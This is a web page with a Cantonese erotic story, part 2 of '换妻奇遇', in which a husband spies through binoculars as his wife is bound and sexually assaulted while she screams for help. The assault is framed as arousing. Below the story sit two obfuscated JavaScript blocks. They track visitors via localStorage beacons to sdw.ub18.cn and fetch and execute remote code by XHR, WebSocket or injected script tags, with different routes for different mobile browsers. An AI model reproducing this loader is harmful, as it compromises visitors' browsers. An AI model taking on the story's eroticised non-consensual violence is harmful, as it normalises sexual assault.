图片载入中
换妻奇遇 (2/3)
四、老婆畀人糟踬肉都赤
阿妈寻晚畀我搞到佢摊摊腰，第二朝又早过我起身，煮定早餐我食。佢拧条煎㶶咗既土鲮鱼上台，话︰拿，食你既早餐喇。你己自已话同我食咗佢架。我真系一叉拮落去就食，阿妈快手过我挪开，叫我等一等，捧碟我中意既火腿奄列出嚟。我揽住阿妈话佢真系乖勒，抵我惜哂佢。
话定畀阿妈知，今晚有应酬，夜的至番，返嚟同佢消夜。佢话你唔使挂住我，识得自己揾节目喇。我问乜野节目？佢话女人既节目。我问系唔系扮靓？佢话，男人之中没你咁诸事既。我话，关心你啫。佢话，知道喇。再问一句今晚消夜想食乜？我话，咁使咁频轮，出街撑擡脚喇。我打电话返嚟，你着定衫等我，记得着靓的呀，我中意的人既艳羡目光呀。
呢句话系我楂住佢对手仔讲既，佢揈开我，耷底头，话我冤气㖞。我扚起佢个下巴，惜佢一啖，话畀佢听，我呢两日向公司都挂住佢架。佢话，知喇，长气夹㖊气。我唔系你老婆，你老婆放完假就番篱接班，留番啖气凼佢啦。
一谂起个衰婆，就度日如年，不过，同阿妈喺一齐，好似春宵苦短。认真矛盾啰何？今日，我要出击。返疴肥屎（ｏｆｆｉｃｅ公司）巡一转，话头赤告半昼假，熘去买齐的狗仔队架生，不惜公本买咗碌单筒重炮，睇雀用嗰亭专业望远镜连三脚架，只雀仔有几多条毛都睇得真嗰亭，备齐一日粮水，上山做山寨王，菢下阿珊同佢嗰个叫阿尚既契家佬。自己做埋私家侦探，都算苦心喇挂，为咗棵红杏。
花园个泳池水静鹅飞。阿尚架积架跑车泊喺度，即系未出街。阿珊佢没日上三竿都唔起身，佢应该起咗身喇……系勒，真系佢，困向张沙滩椅度，晒太阳。松埋的支镜，无上装添。我同你去泰国晒咗几日重咁够喉，重要生晒？生皮肤癌架。问心嗰句，佢身材没得顶，曲线玲珑。阿尚去咗边呢？未起身？没野发生，我瞌着一阵间。醒番既时候，阿珊唔系镜头，死咗去边呢？可能入咗屋？入咗屋就难睇好多，唔知佢向边间房。睇下个日头，落紧山，挨晚咯。正想话收队，第二日再嚟，又见到阿珊着住条性感比坚尼，畀嗰条友追追逐逐。阿珊对超级大波波，抛上抛落，正式波涛汹涌咁场面。佢走到游水池边，沊声跳落水。玩鸳鸯戏水乎？
呢条友仔，啄住尾，插落水底，蒲番上嚟，揽住阿珊。睇唔真阿珊个样，喊定笑，一捶一槌咁抌佢。嗰条仔飞擒大咬，惜人地个老婆唔使本咁，一啖咬落阿珊个莲度，阿珊拥开佢，搏命游向池边，爬番上岸。阿尚好快追上嚟，扑过去就擒住佢，好似麻鹰捉鸡仔咁。佢都几大只噃，一手就扚得起阿珊，成个人扛系髆头。阿珊猛咁踢脚，一拳拳咁抌佢背嵴佢都唔怕，将阿珊挤低喺条板凳度，打咗几野ｐａｔ ｐａｔ，打个阿珊飞起，嗌晒救命，呢云佢未曾真个已瓜柴，只见阿尚一手掤甩阿珊个三点式薄落，一手撕烂条三角游水裤，露械狂攻阿珊个大后方，形势都几危急。
阿珊趁阿尚除裤，翻身想走人。卒之畀阿尚揿番低。阿尚随手执起个薄落，用嚟绑住阿珊对手。阿珊就没得郁勒，畀阿尚一只手捉实对手，一只手揿住个衰婆向张凳度，准备㓥猪咁㓥佢。唔使搽膏，就打支桩入去佢后面嗰窿。佢舂一下，阿珊成个人兀起，张凳向前一褪就成尺远。哗，唔讲得笑，好劲㖞。支桩系坚野嚟架。睇见都肉紧，谂起咁劲揪，戥个衰婆可怜，个心都痛埋。不过，唔知个衰婆，话之佢钟意玩呢味野，畀人打桩呢？
男人最棹忌系同人比较嗰枝野，以唐人标准，边个够我粗？翻飞快，认咗第二没人敢认第一。唔系灭自己同胞既志气，我地先天个头轮蚀，就算后天苦练挽（ｍａｎｇ）唔番几多，咁远松个镜头埋去睇真的，简直唔成比例咁粗。可谓天赋异禀。阿珊个屎窟实情没得净，畀佢舂到开花。没眼睇，合埋眼，唔忍心睇全套。十零廿分钟左右，隐若传来空谷回音，系阿珊既叫声……没得净咯
睇下乜环境？阿尚揽到我老婆实，梗系落哂嘴头，出尽甜言蜜语凼番佢勒。我睇到架，佢地坐定定我就睇得真的。我支千里镜成盘水（一万元）买架，个鬼佬嘻嘻哈哈，笑得个样宁舍奸既。阿珊好似流紧马尿（泪水）。抵佢痛，畀人咁攞命法都制，唔知老公心痛佢。阿珊多似畀佢凼番掂添，唔喊勒，肯畀佢啜嘴、捻莲，楂到变型。个佬又唔知同佢讲的乜野勒，阿珊好似唔想，拧哂头，就成个人畀佢掅起身，要佢趴喺个鬼佬条大髀度，做乜？打萝柚。唔系讲玩，好劲揪咁打落去。
打完桩重要打箩柚？九成系虐待狂，一掌掌咁打落，打咗十几廿板，打到阿珊扎扎跳，嗌救命。有翼（翅膀）会飞落去救老婆。没几耐，个阿尚又试将阿珊成个人楞上膊头，萝柚朝天，擡佢入屋。阿珊放软哂手脚，没反抗咯噃？睇真的，佢对手重系畀个薄落绑住。个老婆钟意畀人咁玩法，没说话好讲。天黑咯，睇下个表，晚饭时份。屋�面没动静。等咗一轮，没野发生。佢地向屋�面做乜？我没心情睇落去，崭（音栈）愈睇愈伤心。唔好叫阿妈喺屋企等咁耐，执架生收队﹗ 打电话畀阿妈，话佢知返紧去。佢话唔系有应酬乜？咁早？我话，应酬啫，有话则长无话则短，应酬咗就算，挂住你丫嘛。唔舍得丢低你一个人太怕耐闷亲你。佢话，真系咁有心挂住阿妈？我话，我知错改过喇，唔做没尾飞砣，好匿家架，家阵。佢话，的男人话返话返，唔知几时返到，返到至算喇。我话，就返到喇。转个弯就到。同阿妈一路蓝牙打牙骹，一路开车，踹拫油（催油门），话咁快就返到。
上一篇：16岁生日
下一篇：主播日记
function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};
